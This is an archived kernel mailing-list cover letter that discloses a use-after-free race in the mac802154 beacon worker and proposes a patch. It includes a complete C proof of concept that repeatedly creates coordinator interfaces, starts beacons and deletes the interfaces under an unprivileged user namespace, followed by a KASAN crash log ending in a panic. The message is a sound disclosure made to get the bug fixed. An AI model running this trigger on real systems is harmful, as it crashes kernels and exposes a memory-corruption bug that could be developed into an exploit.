All of lore.kernel.org
 help / color / mirror / Atom feed
From: Zihan Xi <zihanx@nebusec.ai>
To: linux-wpan@vger.kernel.org, netdev@vger.kernel.org
Cc: alex.aring@gmail.com, stefan@datenfreihafen.org,
	miquel.raynal@bootlin.com, davem@davemloft.net,
	edumazet@google.com, pabeni@redhat.com, horms@kernel.org,
	david.girault@qorvo.com, vega@nebusec.ai, zihanx@nebusec.ai
Subject: [PATCH net 0/1] mac802154: Fix beacon worker UAF
Date: Sun,  2 Aug 2026 09:23:33 +0000	[thread overview]
Message-ID: <cover.1785596603.git.zihanx@nebusec.ai> (raw)

Hi Linux kernel maintainers,

We found and validated a issue in net/mac802154/scan.c. The bug is
reachable by a user who becomes namespaced root in user and net
namespaces, with nl802154 admin operations requiring CAP_NET_ADMIN in
that namespace.
We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

mac802154_beacon_worker() reads local->beacon_req under RCU, derives the
sub-interface from beacon_req->wpan_dev, and then drops the RCU read
lock before using sdata and wpan_dev.

mac802154_stop_beacons_locked() only cancels pending delayed work with
cancel_delayed_work(), clears local->beacon_req, and frees the request.
If the beacon worker is already running, interface teardown can free the
netdev private area while the worker continues to dereference sdata and
the embedded wpan_dev outside RCU.

The selected baseline already contains an equivalent netdev reference
fix for mac802154_scan_worker(). This patch applies the same lifetime
rule to mac802154_beacon_worker(): take a netdev reference while the RCU
read lock still protects the request-derived sdata pointer, and release
it on every path that continues after the reference is acquired.

Reproducer:

    gcc -O2 -static -o poc poc.c
    unshare -Urn ./poc

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------
#define _GNU_SOURCE
#include <errno.h>
#include <linux/genetlink.h>
#include <linux/netlink.h>
#include <net/if.h>
#include <sched.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>

#ifndef NLA_ALIGNTO
#define NLA_ALIGNTO 4
#endif
#ifndef NLA_ALIGN
#define NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - 1))
#endif
#ifndef NLA_HDRLEN
#define NLA_HDRLEN ((int)NLA_ALIGN(sizeof(struct nlattr)))
#endif
#ifndef NLA_DATA
#define NLA_DATA(nla) ((void *)((char *)(nla) + NLA_HDRLEN))
#endif
#ifndef NLA_NEXT
#define NLA_NEXT(nla, attrlen) \
    ((attrlen) -= NLA_ALIGN((nla)->nla_len), \
     (struct nlattr *)(((char *)(nla)) + NLA_ALIGN((nla)->nla_len)))
#endif
#ifndef NLA_OK
#define NLA_OK(nla, len) \
    ((len) >= (int)sizeof(struct nlattr) && (nla)->nla_len >= sizeof(struct nlattr) && \
     (nla)->nla_len <= (len))
#endif

#define NL802154_GENL_NAME "nl802154"
#define MAX_MSG 8192
#define PAN_ID_BASE 0x1234

enum nl802154_commands {
    NL802154_CMD_UNSPEC,
    NL802154_CMD_GET_WPAN_PHY,
    NL802154_CMD_SET_WPAN_PHY,
    NL802154_CMD_NEW_WPAN_PHY,
    NL802154_CMD_DEL_WPAN_PHY,
    NL802154_CMD_GET_INTERFACE,
    NL802154_CMD_SET_INTERFACE,
    NL802154_CMD_NEW_INTERFACE,
    NL802154_CMD_DEL_INTERFACE,
    NL802154_CMD_SET_CHANNEL,
    NL802154_CMD_SET_PAN_ID,
    NL802154_CMD_SET_SHORT_ADDR,
    NL802154_CMD_SET_TX_POWER,
    NL802154_CMD_SET_CCA_MODE,
    NL802154_CMD_SET_CCA_ED_LEVEL,
    NL802154_CMD_SET_MAX_FRAME_RETRIES,
    NL802154_CMD_SET_BACKOFF_EXPONENT,
    NL802154_CMD_SET_MAX_CSMA_BACKOFFS,
    NL802154_CMD_SET_LBT_MODE,
    NL802154_CMD_SET_ACKREQ_DEFAULT,
    NL802154_CMD_SET_WPAN_PHY_NETNS,
    NL802154_CMD_SET_SEC_PARAMS,
    NL802154_CMD_GET_SEC_KEY,
    NL802154_CMD_NEW_SEC_KEY,
    NL802154_CMD_DEL_SEC_KEY,
    NL802154_CMD_GET_SEC_DEV,
    NL802154_CMD_NEW_SEC_DEV,
    NL802154_CMD_DEL_SEC_DEV,
    NL802154_CMD_GET_SEC_DEVKEY,
    NL802154_CMD_NEW_SEC_DEVKEY,
    NL802154_CMD_DEL_SEC_DEVKEY,
    NL802154_CMD_GET_SEC_LEVEL,
    NL802154_CMD_NEW_SEC_LEVEL,
    NL802154_CMD_DEL_SEC_LEVEL,
    NL802154_CMD_SCAN_EVENT,
    NL802154_CMD_TRIGGER_SCAN,
    NL802154_CMD_ABORT_SCAN,
    NL802154_CMD_SCAN_DONE,
    NL802154_CMD_SEND_BEACONS,
    NL802154_CMD_STOP_BEACONS,
};

enum nl802154_attrs {
    NL802154_ATTR_UNSPEC,
    NL802154_ATTR_WPAN_PHY,
    NL802154_ATTR_WPAN_PHY_NAME,
    NL802154_ATTR_IFINDEX,
    NL802154_ATTR_IFNAME,
    NL802154_ATTR_IFTYPE,
    NL802154_ATTR_WPAN_DEV,
    NL802154_ATTR_PAGE,
    NL802154_ATTR_CHANNEL,
    NL802154_ATTR_PAN_ID,
    NL802154_ATTR_SHORT_ADDR,
    NL802154_ATTR_TX_POWER,
    NL802154_ATTR_CCA_MODE,
    NL802154_ATTR_CCA_OPT,
    NL802154_ATTR_CCA_ED_LEVEL,
    NL802154_ATTR_MAX_FRAME_RETRIES,
    NL802154_ATTR_MAX_BE,
    NL802154_ATTR_MIN_BE,
    NL802154_ATTR_MAX_CSMA_BACKOFFS,
    NL802154_ATTR_LBT_MODE,
    NL802154_ATTR_GENERATION,
    NL802154_ATTR_CHANNELS_SUPPORTED,
    NL802154_ATTR_SUPPORTED_CHANNEL,
    NL802154_ATTR_EXTENDED_ADDR,
    NL802154_ATTR_WPAN_PHY_CAPS,
    NL802154_ATTR_SUPPORTED_COMMANDS,
    NL802154_ATTR_ACKREQ_DEFAULT,
    NL802154_ATTR_PAD,
    NL802154_ATTR_PID,
    NL802154_ATTR_NETNS_FD,
    NL802154_ATTR_COORDINATOR,
    NL802154_ATTR_SCAN_TYPE,
    NL802154_ATTR_SCAN_FLAGS,
    NL802154_ATTR_SCAN_CHANNELS,
    NL802154_ATTR_SCAN_PREAMBLE_CODES,
    NL802154_ATTR_SCAN_MEAN_PRF,
    NL802154_ATTR_SCAN_DURATION,
    NL802154_ATTR_SCAN_DONE_REASON,
    NL802154_ATTR_BEACON_INTERVAL,
};

enum nl802154_iftype {
    NL802154_IFTYPE_UNSPEC = (~(__u32)0),
    NL802154_IFTYPE_NODE = 0,
    NL802154_IFTYPE_MONITOR,
    NL802154_IFTYPE_COORD,
};

struct nl_state {
    int fd;
    uint32_t seq;
    uint16_t family_id;
};

struct new_if_arg {
    uint32_t phy;
    const char *name;
    uint32_t iftype;
};

struct set_pan_arg {
    uint32_t ifidx;
    uint16_t pan_id;
};

struct beacon_arg {
    uint32_t ifidx;
    uint8_t interval;
};

static int add_attr(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
                    const void *data, size_t len)
{
    size_t off = NLMSG_ALIGN(nlh->nlmsg_len);
    size_t attr_len = NLA_HDRLEN + len;
    size_t new_len = off + NLA_ALIGN(attr_len);

    if (new_len > maxlen)
        return -1;

    struct nlattr *nla = (struct nlattr *)((char *)nlh + off);
    nla->nla_type = type;
    nla->nla_len = attr_len;
    memcpy((char *)nla + NLA_HDRLEN, data, len);
    memset((char *)nla + attr_len, 0, NLA_ALIGN(attr_len) - attr_len);
    nlh->nlmsg_len = new_len;
    return 0;
}

static int add_attr_u8(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
                       uint8_t val)
{
    return add_attr(nlh, maxlen, type, &val, sizeof(val));
}

static int add_attr_u16(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
                        uint16_t val)
{
    return add_attr(nlh, maxlen, type, &val, sizeof(val));
}

static int add_attr_u32(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
                        uint32_t val)
{
    return add_attr(nlh, maxlen, type, &val, sizeof(val));
}

static int add_attr_str(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
                        const char *s)
{
    return add_attr(nlh, maxlen, type, s, strlen(s) + 1);
}

static int nl_open(struct nl_state *st)
{
    struct sockaddr_nl addr;

    st->fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
    if (st->fd < 0)
        return -errno;

    memset(&addr, 0, sizeof(addr));
    addr.nl_family = AF_NETLINK;
    addr.nl_pid = getpid() ^ (uint32_t)time(NULL);

    if (bind(st->fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        int err = -errno;
        close(st->fd);
        st->fd = -1;
        return err;
    }

    st->seq = 0;
    st->family_id = 0;
    return 0;
}

static int nl_send(struct nl_state *st, struct nlmsghdr *nlh)
{
    struct sockaddr_nl nladdr;
    struct iovec iov = {.iov_base = nlh, .iov_len = nlh->nlmsg_len};
    struct msghdr msg;

    memset(&nladdr, 0, sizeof(nladdr));
    nladdr.nl_family = AF_NETLINK;

    memset(&msg, 0, sizeof(msg));
    msg.msg_name = &nladdr;
    msg.msg_namelen = sizeof(nladdr);
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;

    if (sendmsg(st->fd, &msg, 0) < 0)
        return -errno;

    return 0;
}

static int nl_recv_for_seq(struct nl_state *st, uint32_t seq,
                           int (*cb)(struct nlmsghdr *, void *), void *cb_arg,
                           bool *got_answer)
{
    char buf[MAX_MSG];

    for (;;) {
        ssize_t len = recv(st->fd, buf, sizeof(buf), 0);
        if (len < 0) {
            if (errno == EINTR)
                continue;
            return -errno;
        }

        for (struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
             NLMSG_OK(nlh, (unsigned int)len);
             nlh = NLMSG_NEXT(nlh, len)) {
            if (nlh->nlmsg_seq != seq)
                continue;

            if (got_answer)
                *got_answer = true;

            if (nlh->nlmsg_type == NLMSG_ERROR) {
                struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(nlh);
                return err->error;
            }

            if (cb) {
                int ret = cb(nlh, cb_arg);
                if (ret)
                    return ret;
            } else {
                return 0;
            }

            if (nlh->nlmsg_type == NLMSG_DONE)
                return 0;
        }
    }
}

static int parse_family_id(struct nlmsghdr *nlh, void *arg)
{
    uint16_t *family_id = arg;
    struct genlmsghdr *genl;
    struct nlattr *attr;
    int rem;

    if (nlh->nlmsg_type == NLMSG_DONE)
        return 0;

    if (nlh->nlmsg_len < NLMSG_LENGTH(GENL_HDRLEN))
        return -EINVAL;

    genl = (struct genlmsghdr *)NLMSG_DATA(nlh);
    rem = nlh->nlmsg_len - NLMSG_LENGTH(GENL_HDRLEN);
    attr = (struct nlattr *)((char *)genl + GENL_HDRLEN);

    for (; NLA_OK(attr, rem); attr = NLA_NEXT(attr, rem)) {
        if (attr->nla_type == CTRL_ATTR_FAMILY_ID) {
            *family_id = *(uint16_t *)NLA_DATA(attr);
            return 1;
        }
    }

    return 0;
}

static int nl_resolve_family(struct nl_state *st, const char *family_name)
{
    char buf[MAX_MSG];
    struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
    struct genlmsghdr *genl = (struct genlmsghdr *)NLMSG_DATA(nlh);
    uint32_t seq = ++st->seq;
    uint16_t id = 0;
    bool got = false;
    int ret;

    memset(buf, 0, sizeof(buf));
    nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
    nlh->nlmsg_type = GENL_ID_CTRL;
    nlh->nlmsg_flags = NLM_F_REQUEST;
    nlh->nlmsg_seq = seq;
    genl->cmd = CTRL_CMD_GETFAMILY;
    genl->version = 1;

    if (add_attr_str(nlh, sizeof(buf), CTRL_ATTR_FAMILY_NAME, family_name) < 0)
        return -EMSGSIZE;

    ret = nl_send(st, nlh);
    if (ret < 0)
        return ret;

    for (;;) {
        ret = nl_recv_for_seq(st, seq, parse_family_id, &id, &got);
        if (ret == 1)
            break;
        if (ret < 0)
            return ret;
        if (got)
            break;
    }

    if (!id)
        return -ENOENT;

    st->family_id = id;
    return 0;
}

static int nl_cmd(struct nl_state *st, uint8_t cmd,
                  int (*fill)(struct nlmsghdr *, size_t, void *), void *fill_arg,
                  bool need_ack)
{
    char buf[MAX_MSG];
    struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
    struct genlmsghdr *genl = (struct genlmsghdr *)NLMSG_DATA(nlh);
    uint32_t seq = ++st->seq;
    bool got = false;
    int ret;

    memset(buf, 0, sizeof(buf));
    nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
    nlh->nlmsg_type = st->family_id;
    nlh->nlmsg_flags = NLM_F_REQUEST | (need_ack ? NLM_F_ACK : 0);
    nlh->nlmsg_seq = seq;
    genl->cmd = cmd;
    genl->version = 1;

    if (fill && fill(nlh, sizeof(buf), fill_arg) < 0)
        return -EMSGSIZE;

    ret = nl_send(st, nlh);
    if (ret < 0)
        return ret;

    if (!need_ack)
        return 0;

    ret = nl_recv_for_seq(st, seq, NULL, NULL, &got);
    if (ret < 0)
        return ret;

    return 0;
}

static int set_if_up(const char *ifname, bool up)
{
    int fd = socket(AF_INET, SOCK_DGRAM, 0);
    struct ifreq ifr;

    if (fd < 0)
        return -errno;

    memset(&ifr, 0, sizeof(ifr));
    strncpy(ifr.ifr_name, ifname, IFNAMSIZ - 1);

    if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0) {
        int err = -errno;
        close(fd);
        return err;
    }

    if (up)
        ifr.ifr_flags |= IFF_UP;
    else
        ifr.ifr_flags &= ~IFF_UP;

    if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) {
        int err = -errno;
        close(fd);
        return err;
    }

    close(fd);
    return 0;
}

static int fill_new_if(struct nlmsghdr *nlh, size_t maxlen, void *arg_)
{
    struct new_if_arg *arg = arg_;

    if (add_attr_u32(nlh, maxlen, NL802154_ATTR_WPAN_PHY, arg->phy) < 0)
        return -1;
    if (add_attr_str(nlh, maxlen, NL802154_ATTR_IFNAME, arg->name) < 0)
        return -1;
    if (add_attr_u32(nlh, maxlen, NL802154_ATTR_IFTYPE, arg->iftype) < 0)
        return -1;

    return 0;
}

static int fill_ifidx(struct nlmsghdr *nlh, size_t maxlen, void *arg_)
{
    uint32_t ifidx = *(uint32_t *)arg_;
    return add_attr_u32(nlh, maxlen, NL802154_ATTR_IFINDEX, ifidx);
}

static int fill_set_pan(struct nlmsghdr *nlh, size_t maxlen, void *arg_)
{
    struct set_pan_arg *arg = arg_;

    if (add_attr_u32(nlh, maxlen, NL802154_ATTR_IFINDEX, arg->ifidx) < 0)
        return -1;
    if (add_attr_u16(nlh, maxlen, NL802154_ATTR_PAN_ID, arg->pan_id) < 0)
        return -1;
    return 0;
}

static int fill_beacon(struct nlmsghdr *nlh, size_t maxlen, void *arg_)
{
    struct beacon_arg *arg = arg_;

    if (add_attr_u32(nlh, maxlen, NL802154_ATTR_IFINDEX, arg->ifidx) < 0)
        return -1;
    if (add_attr_u8(nlh, maxlen, NL802154_ATTR_BEACON_INTERVAL, arg->interval) < 0)
        return -1;
    return 0;
}

static int cmd_new_interface(struct nl_state *st, uint32_t phy, const char *name,
                             uint32_t iftype)
{
    struct new_if_arg arg = {
        .phy = phy,
        .name = name,
        .iftype = iftype,
    };
    return nl_cmd(st, NL802154_CMD_NEW_INTERFACE, fill_new_if, &arg, true);
}

static int cmd_del_interface(struct nl_state *st, uint32_t ifidx)
{
    return nl_cmd(st, NL802154_CMD_DEL_INTERFACE, fill_ifidx, &ifidx, true);
}

static int cmd_set_pan_id(struct nl_state *st, uint32_t ifidx, uint16_t pan_id)
{
    struct set_pan_arg arg = {
        .ifidx = ifidx,
        .pan_id = pan_id,
    };
    return nl_cmd(st, NL802154_CMD_SET_PAN_ID, fill_set_pan, &arg, true);
}

static int cmd_send_beacons(struct nl_state *st, uint32_t ifidx, uint8_t interval)
{
    struct beacon_arg arg = {
        .ifidx = ifidx,
        .interval = interval,
    };
    return nl_cmd(st, NL802154_CMD_SEND_BEACONS, fill_beacon, &arg, true);
}

int main(int argc, char **argv)
{
    struct nl_state st;
    int iterations = 100000;
    uint32_t phy = 0;
    uint64_t create_ok = 0, beacon_ok = 0, del_ok = 0;
    int ret;

    if (argc > 1)
        iterations = atoi(argv[1]);

    srand((unsigned int)time(NULL));
    memset(&st, 0, sizeof(st));

    ret = nl_open(&st);
    if (ret < 0) {
        fprintf(stderr, "nl_open failed: %d\n", ret);
        return 1;
    }

    ret = nl_resolve_family(&st, NL802154_GENL_NAME);
    if (ret < 0) {
        fprintf(stderr, "resolve %s failed: %d\n", NL802154_GENL_NAME, ret);
        return 1;
    }

    for (int i = 0; i < iterations; i++) {
        char ifname[32];
        uint32_t ifidx;
        uint16_t pan_id = (uint16_t)(PAN_ID_BASE + (i & 0xff));
        struct timespec ts;

        snprintf(ifname, sizeof(ifname), "bcn%d", i % 1000);

        ret = cmd_new_interface(&st, phy, ifname, NL802154_IFTYPE_COORD);
        if (ret < 0) {
            if (ret == -EEXIST) {
                sched_yield();
                continue;
            }
            fprintf(stderr, "[%d] new_interface(%s) failed: %d\n", i, ifname, ret);
            continue;
        }
        create_ok++;

        ifidx = if_nametoindex(ifname);
        if (!ifidx) {
            fprintf(stderr, "[%d] if_nametoindex(%s) failed\n", i, ifname);
            continue;
        }

        ret = cmd_set_pan_id(&st, ifidx, pan_id);
        if (ret < 0) {
            fprintf(stderr, "[%d] set_pan_id(%u) failed: %d\n", i, ifidx, ret);
            cmd_del_interface(&st, ifidx);
            continue;
        }

        ret = set_if_up(ifname, true);
        if (ret < 0) {
            fprintf(stderr, "[%d] set_if_up(%s) failed: %d\n", i, ifname, ret);
            cmd_del_interface(&st, ifidx);
            continue;
        }

        ret = cmd_send_beacons(&st, ifidx, 0);
        if (ret < 0) {
            fprintf(stderr, "[%d] send_beacons(%u) failed: %d\n", i, ifidx, ret);
            cmd_del_interface(&st, ifidx);
            continue;
        }
        beacon_ok++;

        ts.tv_sec = 0;
        ts.tv_nsec = (long)(1000 * (50 + (rand() % 600)));
        nanosleep(&ts, NULL);

        ret = cmd_del_interface(&st, ifidx);
        if (ret < 0 && ret != -ENODEV)
            fprintf(stderr, "[%d] del_interface(%u) failed: %d\n", i, ifidx, ret);
        else
            del_ok++;

        if ((i % 100) == 0) {
            printf("iter=%d create_ok=%llu beacon_ok=%llu del_ok=%llu\n",
                   i,
                   (unsigned long long)create_ok,
                   (unsigned long long)beacon_ok,
                   (unsigned long long)del_ok);
            fflush(stdout);
        }
    }

    close(st.fd);
    return 0;
}
------END poc.c--------

----BEGIN crash log----
[   45.261167] net bcn629: Beacon could not be transmitted (-100)
[   45.538139] net bcn637: Beacon could not be transmitted (-100)
[   45.712979] net bcn642: Beacon could not be transmitted (-100)
[   45.880237] net bcn648: Beacon could not be transmitted (-100)
[   45.930786] ==================================================================
[   45.945098] BUG: KASAN: slab-use-after-free in mac802154_beacon_worker (net/mac802154/scan.c:447)
[   45.958894] Read of size 8 at addr ffff888009701b28 by task kworker/u8:2/54
[   45.971385] 
[   45.973998] CPU: 0 UID: 0 PID: 54 Comm: kworker/u8:2 Not tainted 7.2.0-rc4-g88c17de85ddb #1 PREEMPT(lazy) 
[   45.974003] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   45.974005] Workqueue: phy0-mac-cmds mac802154_beacon_worker
[   45.974012] Call Trace:
[   45.974015]  <TASK>
[   45.974017]  dump_stack_lvl (lib/dump_stack.c:94 lib/dump_stack.c:120)
[   45.974021]  print_report (mm/kasan/report.c:378 mm/kasan/report.c:482)
[   45.974024]  ? __pfx__raw_spin_lock_irqsave (include/asm-generic/qrwlock.h:122 (discriminator 4))
[   45.974027]  ? mac802154_beacon_worker (net/mac802154/scan.c:447)
[   45.974029]  kasan_report (mm/kasan/report.c:595)
[   45.974031]  ? mac802154_beacon_worker (net/mac802154/scan.c:447)
[   45.974033]  mac802154_beacon_worker (net/mac802154/scan.c:447)
[   45.974035]  process_one_work (kernel/workqueue.c:3322)
[   45.974040]  ? assign_work (kernel/workqueue.c:1233)
[   45.974042]  worker_thread (kernel/workqueue.c:3405 kernel/workqueue.c:3486)
[   45.974044]  ? __pfx_worker_thread (include/linux/list.h:249)
[   45.974046]  kthread (kernel/kthread.c:436)
[   45.974048]  ? recalc_sigpending (include/linux/instrumented.h:97 include/asm-generic/bitops/instrumented-atomic.h:41 include/linux/thread_info.h:109 kernel/signal.c:181)
[   45.974050]  ? __pfx_kthread (include/linux/list.h:162)
[   45.974052]  ret_from_fork (arch/x86/kernel/process.c:158)
[   45.974054]  ? __pfx_ret_from_fork (arch/x86/include/asm/desc.h:328 (discriminator 7))
[   45.974056]  ? __switch_to (arch/x86/kernel/process_64.c:403 arch/x86/kernel/process_64.c:663)
[   45.974058]  ? __pfx_kthread (include/linux/list.h:162)
[   45.974060]  ret_from_fork_asm (arch/x86/entry/entry_64.S:245)
[   45.974063]  </TASK>
[   45.974063] 
[   46.185457] Allocated by task 257:
[   46.191459]  kasan_save_stack (mm/kasan/common.c:57)
[   46.198963]  kasan_save_track (mm/kasan/common.c:78)
[   46.206032]  __kasan_kmalloc (mm/kasan/common.c:398 mm/kasan/common.c:415)
[   46.212506]  __kvmalloc_node_noprof (include/linux/kasan.h:263 mm/slub.c:5362 mm/slub.c:6933)
[   46.220575]  alloc_netdev_mqs (net/core/dev.c:12054 (discriminator 2))
[   46.228370]  ieee802154_if_add (net/mac802154/iface.c:620)
[   46.235835]  ieee802154_add_iface (net/mac802154/cfg.c:92)
[   46.242768]  nl802154_new_interface (net/ieee802154/rdev-ops.h:56 net/ieee802154/nl802154.c:948)
[   46.251225]  genl_family_rcv_msg_doit (net/netlink/genetlink.c:1114)
[   46.259138]  genl_rcv_msg (net/netlink/genetlink.c:1194 net/netlink/genetlink.c:1209)
[   46.267140]  netlink_rcv_skb (net/netlink/af_netlink.c:2556)
[   46.274455]  genl_rcv (net/netlink/genetlink.c:1218)
[   46.279978]  netlink_unicast (net/netlink/af_netlink.c:1319 net/netlink/af_netlink.c:1345)
[   46.287407]  netlink_sendmsg (net/netlink/af_netlink.c:1900)
[   46.294879]  ____sys_sendmsg (net/socket.c:775 (discriminator 1) net/socket.c:790 (discriminator 1) net/socket.c:2684 (discriminator 1))
[   46.302513]  ___sys_sendmsg (net/socket.c:2738)
[   46.310950]  __sys_sendmsg (net/socket.c:2770)
[   46.317836]  do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
[   46.325225]  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[   46.334407] 
[   46.337166] Freed by task 257:
[   46.342323]  kasan_save_stack (mm/kasan/common.c:57)
[   46.349979]  kasan_save_track (mm/kasan/common.c:78)
[   46.357214]  kasan_save_free_info (mm/kasan/generic.c:584)
[   46.365218]  __kasan_slab_free (mm/kasan/common.c:253 mm/kasan/common.c:285)
[   46.372115]  kfree (include/linux/kasan.h:235 mm/slub.c:2705 mm/slub.c:6405 mm/slub.c:6720)
[   46.378280]  device_release (drivers/base/core.c:2636)
[   46.385399]  kobject_put (lib/kobject.c:689 lib/kobject.c:720 include/linux/kref.h:65 lib/kobject.c:737)
[   46.391492]  netdev_run_todo (net/core/dev.c:11755)
[   46.398749]  genl_family_rcv_msg_doit (net/netlink/genetlink.c:1117)
[   46.407140]  genl_rcv_msg (net/netlink/genetlink.c:1194 net/netlink/genetlink.c:1209)
[   46.413714]  netlink_rcv_skb (net/netlink/af_netlink.c:2556)
[   46.421327]  genl_rcv (net/netlink/genetlink.c:1218)
[   46.427117]  netlink_unicast (net/netlink/af_netlink.c:1319 net/netlink/af_netlink.c:1345)
[   46.434304]  netlink_sendmsg (net/netlink/af_netlink.c:1900)
[   46.441234]  ____sys_sendmsg (net/socket.c:775 (discriminator 1) net/socket.c:790 (discriminator 1) net/socket.c:2684 (discriminator 1))
[   46.448433]  ___sys_sendmsg (net/socket.c:2738)
[   46.455085]  __sys_sendmsg (net/socket.c:2770)
[   46.464857]  do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
[   46.471414]  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[   46.480946] 
[   46.483515] The buggy address belongs to the object at ffff888009701000
[   46.483515]  which belongs to the cache kmalloc-4k of size 4096
[   46.507299] The buggy address is located 2856 bytes inside of
[   46.507299]  freed 4096-byte region [ffff888009701000, ffff888009702000)
[   46.530004] 
[   46.532790] The buggy address belongs to the physical page:
[   46.543614] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x9700
[   46.558297] head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
[   46.572146] flags: 0x100000000000040(head|node=0|zone=1)
[   46.585565] page_type: f5(slab)
[   46.591088] raw: 0100000000000040 ffff8880010433c0 ffffea000018c610 ffffea000009d410
[   46.605298] raw: 0000000000000000 0000000000020002 00000000f5000000 0000000000000000
[   46.619680] head: 0100000000000040 ffff8880010433c0 ffffea000018c610 ffffea000009d410
[   46.635070] head: 0000000000000000 0000000000020002 00000000f5000000 0000000000000000
[   46.649082] head: 0100000000000003 fffffffffffffe01 00000000ffffffff 00000000ffffffff
[   46.663669] head: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000000
[   46.677896] page dumped because: kasan: bad access detected
[   46.687759] 
[   46.690081] Memory state around the buggy address:
[   46.700017]  ffff888009701a00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   46.712698]  ffff888009701a80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   46.724750] >ffff888009701b00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   46.737595]                                   ^
[   46.745612]  ffff888009701b80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   46.758377]  ffff888009701c00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   46.771889] ==================================================================
[   46.785657] clocksource: Marking clocksource tsc unstable due to frequency skew
[   46.798517] clocksource: Watchdog               kvm-clock interval:             1581ns
[   46.817052] clocksource: Clocksource                  tsc interval:             1465ns
[   46.834198] tsc: Marking TSC unstable due to clocksource watchdog
[   46.852453] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[   46.865384] CPU: 1 UID: 0 PID: 54 Comm: kworker/u8:2 Not tainted 7.2.0-rc4-g88c17de85ddb #1 PREEMPT(lazy) 
[   46.884681] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   46.909534] Workqueue: phy0-mac-cmds mac802154_beacon_worker
[   46.920741] Call Trace:
[   46.925297]  <TASK>
[   46.929456]  vpanic (kernel/panic.c:651)
-----END crash log-----

Best regards,
Zihan Xi

Zihan Xi (1):
  mac802154: fix netdev use-after-free in beacon worker

 net/mac802154/scan.c | 4 ++++
 1 file changed, 4 insertions(+)

-- 
2.43.0


             reply	other threads:[~2026-08-02  9:24 UTC|newest]

Thread overview: 4+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-08-02  9:23 Zihan Xi [this message]
2026-08-02  9:23 ` [PATCH net 1/1] mac802154: fix netdev use-after-free in beacon worker Zihan Xi
2026-08-04 10:40   ` Miquel Raynal
2026-08-06  0:30 ` [PATCH net 0/1] mac802154: Fix beacon worker UAF patchwork-bot+netdevbpf

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=cover.1785596603.git.zihanx@nebusec.ai \
    --to=zihanx@nebusec.ai \
    --cc=alex.aring@gmail.com \
    --cc=davem@davemloft.net \
    --cc=david.girault@qorvo.com \
    --cc=edumazet@google.com \
    --cc=horms@kernel.org \
    --cc=linux-wpan@vger.kernel.org \
    --cc=miquel.raynal@bootlin.com \
    --cc=netdev@vger.kernel.org \
    --cc=pabeni@redhat.com \
    --cc=stefan@datenfreihafen.org \
    --cc=vega@nebusec.ai \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.